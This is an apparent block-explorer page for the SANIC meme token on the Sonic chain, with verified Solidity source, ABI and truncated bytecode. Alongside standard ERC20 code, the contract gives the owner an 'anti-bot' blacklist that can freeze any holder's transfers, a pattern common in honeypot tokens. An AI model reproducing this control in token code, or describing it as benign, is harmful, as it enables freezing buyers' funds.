Token

Sanic The Hegehog (SANIC)

Overview

Max Total Supply

1,000,000,000 SANIC

Holders

49

Market

Price

-

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
17,921,799.802962740004278825 SANIC

Value
$0.00
0x47ee6ad3f4dc0de2a9a812e837dd5187338e3c3b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Sanic

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at SonicScan.org on 2024-12-18
*/

/**

https://t.me/sanicwastaken

https://sanicthehegehog.xyz

*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


contract ERC20 is Context, IERC20 {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _owner;
    address public pair;
    bool public a;
    mapping(address => bool) public isbotBlackList;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overloaded;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function setblacklist(address _account) external onlyOwner {
       
            isbotBlackList[_account] = true;
        
    }

    function unsetblack(address _account) external onlyOwner {
       
            isbotBlackList[_account] = false;
        
    }
    
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address oowner, address spender) public view virtual override returns (uint256) {
        return _allowances[oowner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
     function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(!isbotBlackList[sender], "account is bot");

        _beforeTokenTransfer(sender, recipient, amount);
   
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }


    
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address oowner, address spender, uint256 amount) internal virtual {
        require(oowner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[oowner][spender] = amount;
        emit Approval(oowner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

abstract contract ERC20Burnable is Context, ERC20 {
    /**
     * @dev Destroys `amount` tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 amount) public virtual {
        _burn(_msgSender(), amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, deducting from the caller's
     * allowance.
     *
     * See {ERC20-_burn} and {ERC20-allowance}.
     *
     * Requirements:
     *
     * - the caller must have allowance for ``accounts``'s tokens of at least
     * `amount`.
     */
    function burnFrom(address account, uint256 amount) public virtual {
        uint256 currentAllowance = allowance(account, _msgSender());
        require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
        _approve(account, _msgSender(), currentAllowance - amount);
        _burn(account, amount);
    }
}


contract Sanic is ERC20Burnable {
    constructor(string memory name_, string memory symbol_,address addr_)
        ERC20(name_, symbol_)
    {
        _mint(addr_, 1000000000 * 10**18);  
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"addr_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"a","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"oowner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isbotBlackList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"}],"name":"setblacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"}],"name":"unsetblack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604051620026ce380380620026ce833981810160405281019062000037919062000569565b8282816003908051906020019062000051929190620002b7565b5080600490805190602001906200006a929190620002b7565b5060006200007d6200014560201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050506200013c816b033b2e3c9fd0803ce80000006200014d60201b60201c565b505050620007af565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620001c0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001b79062000664565b60405180910390fd5b620001d460008383620002b260201b60201c565b8060026000828254620001e89190620006bf565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200023f9190620006bf565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002a691906200072d565b60405180910390a35050565b505050565b828054620002c59062000779565b90600052602060002090601f016020900481019282620002e9576000855562000335565b82601f106200030457805160ff191683800117855562000335565b8280016001018555821562000335579182015b828111156200033457825182559160200191906001019062000317565b5b50905062000344919062000348565b5090565b5b808211156200036357600081600090555060010162000349565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003d08262000385565b810181811067ffffffffffffffff82111715620003f257620003f162000396565b5b80604052505050565b60006200040762000367565b9050620004158282620003c5565b919050565b600067ffffffffffffffff82111562000438576200043762000396565b5b620004438262000385565b9050602081019050919050565b60005b838110156200047057808201518184015260208101905062000453565b8381111562000480576000848401525b50505050565b60006200049d62000497846200041a565b620003fb565b905082815260208101848484011115620004bc57620004bb62000380565b5b620004c984828562000450565b509392505050565b600082601f830112620004e957620004e86200037b565b5b8151620004fb84826020860162000486565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005318262000504565b9050919050565b620005438162000524565b81146200054f57600080fd5b50565b600081519050620005638162000538565b92915050565b60008060006060848603121562000585576200058462000371565b5b600084015167ffffffffffffffff811115620005a657620005a562000376565b5b620005b486828701620004d1565b935050602084015167ffffffffffffffff811115620005d857620005d762000376565b5b620005e686828701620004d1565b9250506040620005f98682870162000552565b9150509250925092565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200064c601f8362000603565b9150620006598262000614565b602082019050919050565b600060208201905081810360008301526200067f816200063d565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620006cc8262000686565b9150620006d98362000686565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000711576200071062000690565b5b828201905092915050565b620007278162000686565b82525050565b60006020820190506200074460008301846200071c565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200079257607f821691505b60208210811415620007a957620007a86200074a565b5b50919050565b611f0f80620007bf6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d71461031f578063a8aa1b311461034f578063a9059cbb1461036d578063bdfc29901461039d578063dd62ed3e146103cd5761012c565b806370a082311461028d57806379cc6790146102bd5780638da5cb5b146102d9578063914eb66a146102f757806395d89b41146103015761012c565b8063313ce567116100f4578063313ce567146101eb578063395093511461020957806342966c6814610239578063446e01ea146102555780635c5ba448146102715761012c565b806306fdde0314610131578063095ea7b31461014f5780630dbe671f1461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b6101396103fd565b604051610146919061148a565b60405180910390f35b61016960048036038101906101649190611545565b61048f565b60405161017691906115a0565b60405180910390f35b6101876104ad565b60405161019491906115a0565b60405180910390f35b6101a56104c0565b6040516101b291906115ca565b60405180910390f35b6101d560048036038101906101d091906115e5565b6104ca565b6040516101e291906115a0565b60405180910390f35b6101f36105cb565b6040516102009190611654565b60405180910390f35b610223600480360381019061021e9190611545565b6105d4565b60405161023091906115a0565b60405180910390f35b610253600480360381019061024e919061166f565b610680565b005b61026f600480360381019061026a919061169c565b610694565b005b61028b6004803603810190610286919061169c565b610786565b005b6102a760048036038101906102a2919061169c565b610878565b6040516102b491906115ca565b60405180910390f35b6102d760048036038101906102d29190611545565b6108c0565b005b6102e1610944565b6040516102ee91906116d8565b60405180910390f35b6102ff61096e565b005b610309610ac8565b604051610316919061148a565b60405180910390f35b61033960048036038101906103349190611545565b610b5a565b60405161034691906115a0565b60405180910390f35b610357610c4e565b60405161036491906116d8565b60405180910390f35b61038760048036038101906103829190611545565b610c74565b60405161039491906115a0565b60405180910390f35b6103b760048036038101906103b2919061169c565b610c92565b6040516103c491906115a0565b60405180910390f35b6103e760048036038101906103e291906116f3565b610cb2565b6040516103f491906115ca565b60405180910390f35b60606003805461040c90611762565b80601f016020809104026020016040519081016040528092919081815260200182805461043890611762565b80156104855780601f1061045a57610100808354040283529160200191610485565b820191906000526020600020905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b60006104a361049c610d39565b8484610d41565b6001905092915050565b600660149054906101000a900460ff1681565b6000600254905090565b60006104d7848484610f0c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610522610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059990611806565b60405180910390fd5b6105bf856105ae610d39565b85846105ba9190611855565b610d41565b60019150509392505050565b60006012905090565b60006106766105e1610d39565b8484600160006105ef610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106719190611889565b610d41565b6001905092915050565b61069161068b610d39565b82611218565b50565b61069c610d39565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107229061192b565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61078e610d39565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108149061192b565b60405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006108d3836108ce610d39565b610cb2565b905081811015610918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090f906119bd565b60405180910390fd5b61093583610924610d39565b84846109309190611855565b610d41565b61093f8383611218565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610976610d39565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fc9061192b565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060048054610ad790611762565b80601f0160208091040260200160405190810160405280929190818152602001828054610b0390611762565b8015610b505780601f10610b2557610100808354040283529160200191610b50565b820191906000526020600020905b815481529060010190602001808311610b3357829003601f168201915b5050505050905090565b60008060016000610b69610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90611a4f565b60405180910390fd5b610c43610c31610d39565b858584610c3e9190611855565b610d41565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610c88610c81610d39565b8484610f0c565b6001905092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610db1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da890611ae1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1890611b73565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610eff91906115ca565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7390611c05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe390611c97565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107090611d03565b60405180910390fd5b6110848383836113ec565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561110a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110190611d95565b60405180910390fd5b81816111169190611855565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111a69190611889565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161120a91906115ca565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127f90611e27565b60405180910390fd5b611294826000836113ec565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190611eb9565b60405180910390fd5b81816113269190611855565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816002600082825461137a9190611855565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113df91906115ca565b60405180910390a3505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561142b578082015181840152602081019050611410565b8381111561143a576000848401525b50505050565b6000601f19601f8301169050919050565b600061145c826113f1565b61146681856113fc565b935061147681856020860161140d565b61147f81611440565b840191505092915050565b600060208201905081810360008301526114a48184611451565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114dc826114b1565b9050919050565b6114ec816114d1565b81146114f757600080fd5b50565b600081359050611509816114e3565b92915050565b6000819050919050565b6115228161150f565b811461152d57600080fd5b50565b60008135905061153f81611519565b92915050565b6000806040838503121561155c5761155b6114ac565b5b600061156a858286016114fa565b925050602061157b85828601611530565b9150509250929050565b60008115159050919050565b61159a81611585565b82525050565b60006020820190506115b56000830184611591565b92915050565b6115c48161150f565b82525050565b60006020820190506115df60008301846115bb565b92915050565b6000806000606084860312156115fe576115fd6114ac565b5b600061160c868287016114fa565b935050602061161d868287016114fa565b925050604061162e86828701611530565b9150509250925092565b600060ff82169050919050565b61164e81611638565b82525050565b60006020820190506116696000830184611645565b92915050565b600060208284031215611685576116846114ac565b5b600061169384828501611530565b91505092915050565b6000602082840312156116b2576116b16114ac565b5b60006116c0848285016114fa565b91505092915050565b6116d2816114d1565b82525050565b60006020820190506116ed60008301846116c9565b92915050565b6000806040838503121561170a576117096114ac565b5b6000611718858286016114fa565b9250506020611729858286016114fa565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061177a57607f821691505b6020821081141561178e5761178d611733565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006117f06028836113fc565b91506117fb82611794565b604082019050919050565b6000602082019050818103600083015261181f816117e3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118608261150f565b915061186b8361150f565b92508282101561187e5761187d611826565b5b828203905092915050565b60006118948261150f565b915061189f8361150f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118d4576118d3611826565b5